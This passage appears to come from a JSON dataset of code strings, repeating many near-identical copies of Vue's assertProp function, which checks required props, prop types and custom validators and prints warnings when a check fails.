(!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n \"Invalid prop: type check failed for prop \\\"\" + name + \"\\\".\" +\n \" Expected \" + (expectedTypes.map(capitalize).join(', ')) +\n \", got \" + (toRawType(value)) + \".\",\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i < type.length && !valid; i++) {\n var assertedType = assertType(value, type[i]);\n expectedTypes.push(assertedType.expectedType || '');\n valid = assertedType.valid;\n }\n }\n if (!valid) {\n warn(\n 'Invalid prop: type check failed for prop \"' + name + '\".' +\n ' Expected ' + expectedTypes.map(capitalize).join(', ') +\n ', got ' + Object.prototype.toString.call(value).slice(8, -1) + '.',\n vm\n );\n return\n }\n var validator = prop.validator;\n if (validator) {\n if (!validator(value)) {\n warn(\n 'Invalid prop: custom validator check failed for prop \"' + name + '\".',\n vm\n );\n }\n }\n}","function assertProp (\n prop,\n name,\n value,\n vm,\n absent\n) {\n if (prop.required && absent) {\n warn(\n 'Missing required prop: \"' + name + '\"',\n vm\n );\n return\n }\n if (value == null && !prop.required) {\n return\n }\n var type = prop.type;\n var valid = !type || type === true;\n var expectedTypes = [];\n if (type) {\n if (!Array.isArray(type)) {\n type = [type];\n }\n for (var i = 0; i 